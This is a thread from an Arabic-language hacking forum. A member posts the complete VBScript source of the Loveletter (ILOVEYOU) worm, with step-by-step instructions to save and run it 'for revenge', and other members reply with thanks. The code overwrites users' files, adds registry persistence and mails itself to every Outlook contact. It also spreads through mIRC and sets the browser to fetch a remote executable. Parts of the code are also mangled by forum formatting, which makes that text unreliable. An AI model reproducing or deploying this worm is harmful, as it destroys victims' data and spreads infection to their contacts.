اشترك في قناتنا ليصلك جديدنا

اشترك في قناتنا على اليوتيوب ليصلك جديدنا

كذلك الاعجاب بصفحتنا على الفيسبوك

حصري _ كود فايروس Loveletter

حصري _ كود فايروس Loveletter


صفحة 1 من 2 12 الأخيرةالأخيرة
النتائج 1 إلى 10 من 14

الموضوع: حصري _ كود فايروس Loveletter

  1. #1
    هكر متميز Array الصورة الرمزية Mr.JnOoN
    تاريخ التسجيل
    May 2012
    الدولة
    JORDAN
    المشاركات
    1,465

    Hasri حصري _ كود فايروس Loveletter



    السلام عليكم كيفكم اعضاء جيوش الهكر

    حصـــــــــــــري كود فايرووس Loveletter
    لأول مرة بالمنتديات العربية كود الفايروس الشهير لوفي ليتر واكيد الكل سمع عنه المهم توصلتو بعد اكثر من شهر وانا احاول الحمدلله

    الطريقة اخواني

    افتح المفكرة او النو باد انا انصح بالمفكرة

    1- ضع الكود
    2- احفظ الملف بأسم : Loveletter

    تمتع بالانتقاااام


    rem barok -loveletter(vbe) <i hate go to school>
    rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philippines
    On Error Resume Next
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
    regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
    downread=""
    downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory")
    if (downread="") then
    downread="c:\"
    end if
    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
    hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
    erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
    QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
    GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgq w237461234iuy7thjg/WIN -BUGSFIX.exe"
    end if
    end if
    if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
    Explorer\Main\Start Page","about:blank"
    end if
    end sub
    sub listadriv
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
    folderlist(d.path&"\")
    end if
    Next
    listadriv = s
    end sub
    sub infectfiles(folderspec)
    On Error Resume Next
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    set f = fso.GetFolder(folderspec)
    set fc = f.Files
    for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)
    if (ext="vbs") or (ext="vbe") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    bname=fso.GetBaseName(f1.path)
    set cop=fso.GetFile(f1.path)
    cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
    elseif(ext="jpg") or (ext="jpeg") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.GetFile(f1.path)
    cop.copy(f1.path&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="mp3") or (ext="mp2") then
    set mp3=fso.CreateTextFile(f1.path&".vbs")
    mp3.write vbscopy
    mp3.close
    set att=fso.GetFile(f1.path)
    att.attributes=att.attributes+2
    end if
    if (eq<>folderspec) then
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
    set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]"
    scriptini.WriteLine ";mIRC Script"
    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
    scriptini.WriteLine ";"
    scriptini.WriteLine ";Khaled Mardam-Bey"
    scriptini.WriteLine ";http://www.mirc.com"
    scriptini.WriteLine ";"
    scriptini.WriteLine "n0=on 1:JOIN:#:{"
    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick
    "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
    scriptini.WriteLine "n3=}"
    scriptini.close
    eq=folderspec
    end if
    end if
    next
    end sub
    sub folderlist(folderspec)
    On Error Resume Next
    dim f,f1,sf
    set f = fso.GetFolder(folderspec)
    set sf = f.SubFolders
    for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
    next
    end sub
    sub regcreate(regkey,regvalue)
    Set regedit = CreateObject("WScript.Shell")
    regedit.RegWrite regkey,regvalue
    end sub
    function regget(value)
    Set regedit = CreateObject("WScript.Shell")
    regget=regedit.RegRead(value)
    end function
    function fileexist(filespec)
    On Error Resume Next
    dim msg
    if (fso.FileExists(filespec)) Then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    function folderexist(folderspec)
    On Error Resume Next
    dim msg
    if (fso.GetFolderExists(folderspec)) then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    sub spreadtoemail()
    On Error Resume Next
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d
    set regedit=CreateObject("WScript.Shell")
    set out=WScript.CreateObject("Outlook.Application")
    set mapi=out.GetNameSpace("MAPI")
    for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)
    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a) if (regv="") then
    regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
    for ctrentries=1 to a.AddressEntries.Count
    malead=a.AddressEntries(x)
    regad=""
    regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead )
    if (regad="") then
    set male=out.CreateItem(0)
    male.Recipients.Add(malead)
    male.Subject = "ILOVEYOU"
    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
    regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD" end if
    x=x+1
    next
    regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count else
    regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count end if
    next
    Set out=Nothing
    Set mapi=Nothing
    end sub
    sub html
    On Error Resume Next
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>****** [email protected]@[email protected]@ [email protected]@BAROK VBS -
    [email protected]@>"&vbcrlf& _ "****** [email protected]@[email protected]@ [email protected]@spyder ?-? [email protected] ?-?
    @GRAMMERSoft Group ?-? Manila, Philippines ?-? March [email protected]@>"&vbcrlf& _ "****** [email protected]@[email protected]@
    [email protected]@simple but i think this is [email protected]@>"&vbcrlf& _
    "<?-?HEAD><BODY
    [email protected]@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
    HTM#-#,#-#main#-#)@[email protected] "&vbcrlf& _
    "[email protected]@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@[email protected]
    [email protected]@[email protected]@
    [email protected]@#[email protected]@>"&vbcrlf& _
    "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
    Enable ActiveX<?-?p>"&vbcrlf& _
    "<?-?CENTER><MARQUEE [email protected]@[email protected]@
    [email protected]@[email protected]@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _
    "<?-?BODY><?-?HTML>"&vbcrlf& _
    "<SCRIPT [email protected]@[email protected]@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
    "if (window.screen){var wi=screen.availWidth;var
    hi=screen.availHeight;window.moveTo(0,0);window.re sizeTo(wi,hi);}"&vbcrl f& _
    "?-??-?-->"&vbcrlf& _
    "<?-?SCRIPT>"&vbcrlf& _
    "<SCRIPT [email protected]@[email protected]@>"&vbcrlf& _ "<!--"&vbcrlf& _
    "on error resume next"&vbcrlf& _
    "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&vbcrlf& _ "aw=1"&vbcrlf& _
    "code="
    dta2="set fso=CreateObject(@[email protected]@[email protected])"&vbcrlf& _
    "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39 ))"&vbcrlf& _
    "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(3 4))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(9 2))"&vbcrlf& _ "set
    wri=fso.CreateTextFile(dirsystem&@[email protected]^-^[email protected]@)"&vbcrlf& _
    "wri.write code4"&vbcrlf& _
    "wri.close"&vbcrlf& _
    "if (fso.FileExists(dirsystem&@[email protected]^-^[email protected]@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _
    "aw=0"&vbcrlf& _
    "end if"&vbcrlf& _
    "if (aw=1) then"&vbcrlf& _
    "document.write @[email protected]: can#-#t initialize [email protected]@"&vbcrlf& _ "window.close"&vbcrlf& _
    "end if"&vbcrlf& _
    "end if"&vbcrlf& _
    "Set regedit = CreateObject(@[email protected]@[email protected])"&vbcrlf& _
    "regedit.RegWrite
    @[email protected]_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^
    -^Run^-^[email protected]@,dirsystem&@[email protected]^-^[email protected]@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
    "<?-?SCRIPT>"
    dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
    dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
    dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
    dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
    dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
    dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
    set fso=CreateObject("Scripting.FileSystemObject")
    set c=fso.OpenTextFile(WScript.ScriptFullName,1)
    lines=Split(c.ReadAll,vbcrlf)
    l1=ubound(lines)
    for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr( 91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93))
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr( 37)) if (l1=n) then
    lines(n)=chr(34)+lines(n)+chr(34)
    else
    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
    next
    set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
    set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
    d.write join(lines,vbcrlf)
    d.write vbcrlf
    d.write dt6
    d.close
    end sub

    دمتم بخير + بدي اشوف ردرووووووودكم الحلوه

    اهداء مني لكل عضو بالجيوش



  2. #2
    هكر متألق Array الصورة الرمزية سارة الغامدي
    تاريخ التسجيل
    Jan 2012
    المشاركات
    6,473

    افتراضي رد: حصري _ كود فايروس Loveletter

    مشكؤؤؤر
    يعطيك الف عافية
    دمت بتآلق


  3. #3
    هكر متميز Array الصورة الرمزية touita
    تاريخ التسجيل
    Jun 2012
    الدولة
    lιverpool
    المشاركات
    883

    افتراضي رد: حصري _ كود فايروس Loveletter

    سلمت الانامل مستر جنون تحياتي



  4. #4
    هكر متميز Array الصورة الرمزية Mr.JnOoN
    تاريخ التسجيل
    May 2012
    الدولة
    JORDAN
    المشاركات
    1,465

    افتراضي رد: حصري _ كود فايروس Loveletter

    اهلا فيكم فايرووووس قوي على مستوى افتح الصفحى يعطيني ابلاغ + لا حدا يفتحو على جهازو


  5. #5
    هكر مبتديء Array الصورة الرمزية mostafa-ahmed
    تاريخ التسجيل
    Sep 2012
    المشاركات
    15

    افتراضي رد: حصري _ كود فايروس Loveletter

    هههههههههههههه هو حلووووو بس.............


  6. #6
    هكر متميز Array الصورة الرمزية Mr.JnOoN
    تاريخ التسجيل
    May 2012
    الدولة
    JORDAN
    المشاركات
    1,465

    افتراضي رد: حصري _ كود فايروس Loveletter

    اهلا فيك هاد كود فايروس انتشر اخر مرة في الايميلات كان تجيك رسالة على انو رسالة حب وازا فتحت طار الجهاااااااز الان بين اديكيكم استخدمو بما يرضي الله شكرا على المرور



  7. #7
    هكر مبتديء Array
    تاريخ التسجيل
    Jun 2012
    الدولة
    مكه المكرمه_
    المشاركات
    29

    افتراضي رد: حصري _ كود فايروس Loveletter

    مشكوووور يا شنب


  8. #8
    هكر متميز Array الصورة الرمزية Mr.JnOoN
    تاريخ التسجيل
    May 2012
    الدولة
    JORDAN
    المشاركات
    1,465

    افتراضي رد: حصري _ كود فايروس Loveletter

    اقتباس المشاركة الأصلية كتبت بواسطة شرور هكر مشاهدة المشاركة
    مشكوووور يا شنب
    هلا وغلا اخي الكريم


  9. #9
    هكر مبتديء Array
    تاريخ التسجيل
    Nov 2012
    الدولة
    in my PC
    المشاركات
    27

    افتراضي رد: حصري _ كود فايروس Loveletter

    منه بكى طفل صغير وشايب....



  10. #10
    هكر متميز Array الصورة الرمزية Š~ ĐáŅ†Э~ Ŷ
    تاريخ التسجيل
    Nov 2012
    الدولة
    سًَـــَـًـَـŚỲŖїДـــًــوّريـَـًـآ
    المشاركات
    1,231

    افتراضي رد: حصري _ كود فايروس Loveletter

    ههههههههــ والله انك ملك الله يجزيك الخير مشكووووور


صفحة 1 من 2 12 الأخيرةالأخيرة

المواضيع المتشابهه

  1. مشاركات: 9
    آخر مشاركة: 10-07-2012, 04:19 PM
  2. برنامج رائع اختراق الايميل مجرب + شرح بالصور حصري حصري
    بواسطة هكر محترف في المنتدى قسم المواضيع المخالفة والمكررة
    مشاركات: 72
    آخر مشاركة: 03-09-2012, 02:14 AM
  3. مشاركات: 26
    آخر مشاركة: 02-25-2012, 10:19 PM
  4. كيف تتخطى الانتي فايروس عندما تصنع فايروس من امتداد bat
    بواسطة Kinguhebi في المنتدى منتدى الفيروسات
    مشاركات: 11
    آخر مشاركة: 11-26-2011, 12:18 AM
  5. شرح تفجير و اختراق الايميلات . و البريد الالكتروني حصري حصري 2011 لأول مرة
    بواسطة chick في المنتدى قسم المواضيع المخالفة والمكررة
    مشاركات: 4
    آخر مشاركة: 02-10-2011, 11:33 PM

وجد الزوار هذه الصفحة بالبحث عن:

لم يصل أحد إلى هذه الصفحة عن طريق محرك بحث، ذلك حتى الآن!

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •